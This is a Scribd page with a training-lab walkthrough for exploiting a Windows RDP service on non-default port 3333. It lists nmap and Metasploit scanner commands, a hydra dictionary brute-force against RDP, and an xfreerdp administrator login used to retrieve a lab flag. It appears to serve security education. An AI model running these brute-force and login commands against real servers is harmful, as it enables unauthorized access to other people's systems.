0% found this document useful (0 votes)

10 views7 pages

RDP Exploitation Steps on Windows Server

This document outlines the steps to exploit a Windows RDP server running on a non-default port (3333) using various tools like Nmap, Metasploit, and Hydra. It details the commands necessary to identify the RDP service, perform a dictionary attack for valid credentials, and access the server to retrieve a flag. The flag discovered is 'port-number-3333'.

Uploaded by

Harlian

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

0% found this document useful (0 votes)

10 views7 pages

RDP Exploitation Steps on Windows Server

Uploaded by

Harlian

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

Name Windows: RDP Server II

URL [Link]

Type Windows Exploitation: Services

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

Step 2: Run an Nmap scan against the target IP.

Command: nmap [Link]

Step 3: RDP (Remote Desktop Protocol) default port is 3389. But, we have not discovered that
port. We can notice the port 3333 is exposed. We can Identify RDP endpoints using an auxiliary
module on port 3333 if it’s running RDP.

Commands:
msfconsole
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS [Link]
set RPORT 3333
exploit

We have successfully detected the RDP service port. Also, We can notice that the target RDP
service port is not exposed to the default port (3389), instead it is exposed on port 3333.
Step 4: Running hydra tool to find valid username and password from the provided list.

Command: hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P

/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://[Link] -s 3333

Note: After the dictionary-attack, wait for some 30-40 seconds and then try to connect to the
target server via RDP client i.e xfreerdp.

Step 5: We have discovered four valid users and passwords. Access the remote server using
xfreerdp tool.

Command: xfreerdp /u:administrator /p:qwertyuiop /v:[Link]:3333

y
Step 6: Searching the flag.

Got to “My Computer” → C:\

Open [Link] file.
Note: Copy/paste the flag to your attacker machine first, and from that to the host machine.

This reveals the flag to us.

Flag: port-number-3333

References

1. Hydra ([Link]
2. Metasploit Module
([Link]

SMB PSexec Lab Guide
No ratings yet
SMB PSexec Lab Guide
6 pages
RDP Penetration Testing Guide
No ratings yet
RDP Penetration Testing Guide
28 pages
RDP Penetration Testing Guide
No ratings yet
RDP Penetration Testing Guide
28 pages
RDP Pentesting Techniques Overview
No ratings yet
RDP Pentesting Techniques Overview
13 pages
Active Directory Reconnaissance Techniques
No ratings yet
Active Directory Reconnaissance Techniques
6 pages
Windows Network Enumeration Techniques
No ratings yet
Windows Network Enumeration Techniques
11 pages
Blue (Hacking A Windows Machine)
No ratings yet
Blue (Hacking A Windows Machine)
55 pages
Axlle
No ratings yet
Axlle
8 pages
Cobalt Strike Privilege Escalation Guide
No ratings yet
Cobalt Strike Privilege Escalation Guide
28 pages
Kerbrute and AS-REP Roasting Guide
No ratings yet
Kerbrute and AS-REP Roasting Guide
7 pages
RDP Brute Force Attack Lab Guide
No ratings yet
RDP Brute Force Attack Lab Guide
8 pages
Exploiting ProcessMaker 2.5.0 Vulnerability
No ratings yet
Exploiting ProcessMaker 2.5.0 Vulnerability
9 pages
Cobalt Strike Manual - V2 Active Directory
No ratings yet
Cobalt Strike Manual - V2 Active Directory
30 pages
UAC Bypass Lab Guide with UACMe
No ratings yet
UAC Bypass Lab Guide with UACMe
11 pages
Windows Exploitation Techniques Guide
No ratings yet
Windows Exploitation Techniques Guide
4 pages
Module 09 - Active Directory Penetration Testing
No ratings yet
Module 09 - Active Directory Penetration Testing
142 pages
Remote Desktop Penetration Testing
No ratings yet
Remote Desktop Penetration Testing
7 pages
Exploiting BadBlue 2.7 with Metasploit
No ratings yet
Exploiting BadBlue 2.7 with Metasploit
10 pages
Vulnerability Scanning and Exploitation Guide
No ratings yet
Vulnerability Scanning and Exploitation Guide
4 pages
Verzeo Lab Report: Web Exploitation Techniques
No ratings yet
Verzeo Lab Report: Web Exploitation Techniques
6 pages
Metasploit ProxyLogon Exploit Guide
No ratings yet
Metasploit ProxyLogon Exploit Guide
1 page
Active Directory Exploitation Guide
No ratings yet
Active Directory Exploitation Guide
11 pages
Active Directory Attack Techniques
No ratings yet
Active Directory Attack Techniques
4 pages
Windows 10 Password Cracking Guide
No ratings yet
Windows 10 Password Cracking Guide
12 pages
Hypr Gate
No ratings yet
Hypr Gate
14 pages
Exploiting BadBlue 2.7 in Pentesting
No ratings yet
Exploiting BadBlue 2.7 in Pentesting
11 pages
Windows Local Persistence Guide
No ratings yet
Windows Local Persistence Guide
9 pages
APT Windows Machine Writeup
No ratings yet
APT Windows Machine Writeup
17 pages
PenTest Student Reference
No ratings yet
PenTest Student Reference
9 pages
Metasploit Framework Penetration Testing Guide
No ratings yet
Metasploit Framework Penetration Testing Guide
16 pages
Metasploit Framework Penetration Testing Guide
No ratings yet
Metasploit Framework Penetration Testing Guide
16 pages
Accessing Metasploitable with Metasploit
No ratings yet
Accessing Metasploitable with Metasploit
1 page
Network Penetration Testing Guide
No ratings yet
Network Penetration Testing Guide
29 pages
Meterpreter Kiwi Extension Guide
No ratings yet
Meterpreter Kiwi Extension Guide
8 pages
SSH Login Exploitation Guide
No ratings yet
SSH Login Exploitation Guide
5 pages
Active Directory Exploitation Guide
No ratings yet
Active Directory Exploitation Guide
12 pages
Exploiting Windows 7 RDP Vulnerability
No ratings yet
Exploiting Windows 7 RDP Vulnerability
10 pages
Active Directory Penetration Test Report
0% (1)
Active Directory Penetration Test Report
12 pages
Nmap Host Discovery on Windows
No ratings yet
Nmap Host Discovery on Windows
5 pages
Active Directory Security Cheatsheet
No ratings yet
Active Directory Security Cheatsheet
52 pages
Hacking Windows with EternalBlue Guide
No ratings yet
Hacking Windows with EternalBlue Guide
29 pages
Python Active Directory Exploitation Guide
No ratings yet
Python Active Directory Exploitation Guide
57 pages
Exploiting Metasploitable 2 Services
No ratings yet
Exploiting Metasploitable 2 Services
32 pages
WinRM Exploitation Guide with Metasploit
No ratings yet
WinRM Exploitation Guide with Metasploit
6 pages
Red Team Operations Exam Guide
No ratings yet
Red Team Operations Exam Guide
15 pages
Nmap and Web Exploitation Techniques
No ratings yet
Nmap and Web Exploitation Techniques
44 pages
CTF Methodology: Scanning and Enumeration
No ratings yet
CTF Methodology: Scanning and Enumeration
19 pages
Analysis
No ratings yet
Analysis
37 pages
Cobalt Strike: Privilege Escalation Guide
No ratings yet
Cobalt Strike: Privilege Escalation Guide
30 pages
Pentesting Tools and Techniques Guide
No ratings yet
Pentesting Tools and Techniques Guide
25 pages
Active Directory Pentesting Techniques
No ratings yet
Active Directory Pentesting Techniques
16 pages
Forest
No ratings yet
Forest
7 pages
Pentest Metasploit
No ratings yet
Pentest Metasploit
16 pages
Metasploit Network Scanning Guide
No ratings yet
Metasploit Network Scanning Guide
16 pages
Metasploit Exploitation Assessment Report
No ratings yet
Metasploit Exploitation Assessment Report
29 pages
EscapeTwo HTB Writeup
No ratings yet
EscapeTwo HTB Writeup
8 pages
Ethical Hacking with Metasploit Guide
No ratings yet
Ethical Hacking with Metasploit Guide
7 pages
Capstone Cta Ceh
No ratings yet
Capstone Cta Ceh
13 pages
Security Training Playbook
No ratings yet
Security Training Playbook
18 pages
FT Malcolm PDF
No ratings yet
FT Malcolm PDF
10 pages
Automated Inception Deployment Guide
No ratings yet
Automated Inception Deployment Guide
8 pages
3D Bomberman Game Development Guide
No ratings yet
3D Bomberman Game Development Guide
10 pages
Camagru Web App Development Guide
No ratings yet
Camagru Web App Development Guide
12 pages

RDP Exploitation Steps on Windows Server

Uploaded by

RDP Exploitation Steps on Windows Server

Uploaded by

Name Windows: RDP Server II

Type Windows Exploitation: Services

Step 1: ​Checking target IP address.

Note: ​The target IP address is stored in the “target” file.

Command: ​cat /root/Desktop/target

Step 2:​ Run an Nmap scan against the target IP.

Command: ​nmap [Link]

Command: ​hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P

Command: ​xfreerdp /u:administrator /p:qwertyuiop /v:[Link]:3333

Got to “My Computer” → C:\

This reveals the flag to us.

You might also like

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

Step 2: Run an Nmap scan against the target IP.

Command: nmap [Link]

Command: hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P

Command: xfreerdp /u:administrator /p:qwertyuiop /v:[Link]:3333